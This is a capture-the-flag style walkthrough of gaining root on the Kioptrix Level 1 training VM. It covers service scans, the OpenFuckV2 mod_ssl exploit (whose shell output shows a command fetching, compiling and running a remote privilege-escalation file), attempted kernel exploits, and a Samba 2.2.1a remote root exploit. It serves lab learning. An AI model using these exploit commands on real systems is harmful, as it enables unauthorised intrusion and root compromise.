Kioptrix Level 1 Walkthrough

The Kioptrix series VMs (5 in total) are a bit older, with the first one having come out in 2010, but are still a great learning experience. Today, I’ll show you how I got root access on Level 1. You can download it from VulnHub.


Let’s find it’s IP address first:

root ~ # netdiscover -i eth1 -r

 Currently scanning:   |   Screen View: Unique Hosts                                                                               
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 --------------------------------------------------------------------------       00:50:56:c0:00:01      1      60  Unknown vendor                                                                             00:0c:29:7c:3a:16      1      60  Unknown vendor

Ok, now let’s get some more info on it’s running services:

root ~ # nmap -sV -O

Starting Nmap 7.60 ( ) at 2017-11-03 18:26 CDT
Nmap scan report for
Host is up (0.00079s latency).
Not shown: 994 closed ports
22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp open  status      1 (RPC #100024)
MAC Address: 00:0C:29:7C:3A:16 (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)


I also did a regular port scan of all TCP ports (with the -p- option) and let that run for a while in case there’s anything else we missed. That showed no other open (TCP) ports. I did notice that version of Apache looks quite old, even for 2010. A quick Google search shows that it was released in 2001, a full 9 years before this VM was created. Apache itself could be a possible attack vector, but we’ll keep that in mind for later if we get stuck. First, let’s check the website:

Well, not much here. Let’s dig a little deeper with dirb (a directory brute-forcer):

root ~ # dirb /usr/share/dirb/wordlists/big.txt

DIRB v2.22    
By The Dark Raver

START_TIME: Fri Nov  3 19:09:53 2017
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt


GENERATED WORDS: 20458                                                         

---- Scanning URL: ----
+ (CODE:403|SIZE:272)                                                                                                
==> DIRECTORY:                                                                                                        
==> DIRECTORY:                                                                                                          
==> DIRECTORY:                                                                                                         
+ (CODE:403|SIZE:273)                                                                                               
+ (CODE:403|SIZE:269)                                                                                                   
---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
---- Entering directory: ----
---- Entering directory: ----

Looks like we’ve got a few directories to check out.

The /manual/ directory just contains a bunch of mod_perl & mod_ssl Apache module manuals.

The /mrtg/ page takes us to the “Multi Router Traffic Grapher” web app. There does seem to be a directory traversal vulnerability in version 2.9.17. I tried it here but no luck. The relevant CGI scripts don’t seem to exist.

The /usage/ page takes us to a Webalizer page with some stats from Sept 2009:

There is a code execution vulnerability in Webalizer 2.0.1, however, it requires the server to be configured to use reverse DNS lookups (a feature that’s disabled by default) and I doubt that’s the case here.

Let’s run the popular web server scanner, Nikto.

root ~ # nikto -h
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2017-11-09 20:56:24 (GMT-6)
+ Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server leaks inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep  5 22:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell., OSVDB-756.



I cut out the rest of the output as that last one is what I’m interested in. Let’s see what we can find on this. A Google search for “apache mod_ssl 2.8.7 exploit” gives us some exploit code from Exploit Database called “OpenFuckV2“. I copied the code to my Kali VM into a file called OpenFuckV2.c. I tried compiling it but got a bunch of errors:

root ~ # gcc -o of2 OpenFuckV2.c -lcrypto
OpenFuckV2.c:651:2: error: unknown type name ‘RC4_KEY’
  RC4_KEY* rc4_read_key;
OpenFuckV2.c:652:2: error: unknown type name ‘RC4_KEY’
  RC4_KEY* rc4_write_key;
OpenFuckV2.c: In function ‘read_ssl_packet’:
OpenFuckV2.c:844:7: error: ‘MD5_DIGEST_LENGTH’ undeclared (first use in this function); did you mean ‘SHA_DIGEST_LENGTH’?
   if (MD5_DIGEST_LENGTH + padding >= rec_len) {


After doing some digging around I found out that I need to add 2 headers to the code:

#include <openssl/rc4.h>
#include <openssl/md5.h>

After adding that to the top of the file, the code compiles with only a few warnings that we can ignore. The first thing I do is get the help:

root ~ # ./of2 -h

* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *

: Usage: ./of2 target box [port] [-c N]

  target - supported box eg: 0x00
  box - hostname or IP address
  port - port for ssl connection
  -c open N connections. (use range 40-50 if u dont know)

  Supported OffSet:
	0x00 - Caldera OpenLinux (apache-1.3.26)
	0x01 - Cobalt Sun 6.0 (apache-1.3.12)
	0x02 - Cobalt Sun 6.0 (apache-1.3.20)
	0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
	0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2

The nmap scan results tell us that we should be focusing on RedHat with Apache version 1.3.20. There are 2 possibilities for the “target” here. I tried the first one and it didn’t work. The second one, however…

root ~ # ./of2 0x6b 443

* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *

Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f81c8
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
oits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; .nl/0304-expl 
           => `ptrace-kmod.c'
Connecting to Host not found.
gcc: ptrace-kmod.c: No such file or directory
gcc: No input files
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash: ./p: No such file or directory
bash-2.05$ id
uid=48(apache) gid=48(apache) groups=48(apache)

That’s a shell! Note, you may have to try running it several times as it may not always work.

It looks like it was trying to download some code from packetstorm security. I did a google search and found this to be a privilege escalation exploit. As soon as you get a shell on your target, it tries to get you root access. I tried manually copying the code over since the VM doesn’t have Internet access, compiling & running it, but I never got a shell. We might have to try other exploits.

Privilege Escalation

I like to use this handy GitHub page as a reference. Ctrl+F for “2.4.7” shows 3 possible exploits; pipe.c_32bit, sock_sendpage, & sock_sendpage2. I’ll try the code from each, going down the line. There are many ways to copy the code over to the target machine. I could have saved the code to my Kali VM, started an HTTP server with “python -m SimpleHTTPServer 80” then download it via wget on the target host. However, sometimes I find the “heredoc” method a bit simpler.

bash-2.05$ cat << EOF > pipe.c
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <unistd.h>
bash-2.05$ ls

However, I kept getting compilation errors with this and every time I fixed them, more would pop up.

I tried the next one, sock_sendpage & sock_sendpage2 after that. Neither would compile because of missing header files. And of course, having gotten onto this box as the “apache” user, we don’t have privileges to fix that. Lets look for other ways onto this box.

Going back to the nmap scan (I always save the output of my scans to a text file so I can refer back to it later without having to scan agian), we do see that port 139 is open and Samba is running. Let’s use enum4linux to try to find the running version:

root ~ # enum4linux
Starting enum4linux v0.8.9 ( ) on Sat Nov 11 19:33:08 2017

|    Target Information    |
Target ...........
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
|    Share Enumeration on    |
WARNING: The "syslog" option is deprecated
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]

A quick Google search shows that version was released in 2001. Again, a full 9 years before this VM was created. Searching for “Samba 2.2.1a exploit” shows a remote code execution exploit on as the first hit.

I copied the code to my Kali VM & compiled it (# gcc -o samba1 samba1.c). After reading the example in the comments, I tried exploiting:

root ~ # ./samba1 -b 0
samba-2.2.8 < remote root exploit by eSDee (|be)
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)

Wow, that was easy. Wish I tried that first…

That’s it. We’ve accomplished our objective of getting root access to the machine!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.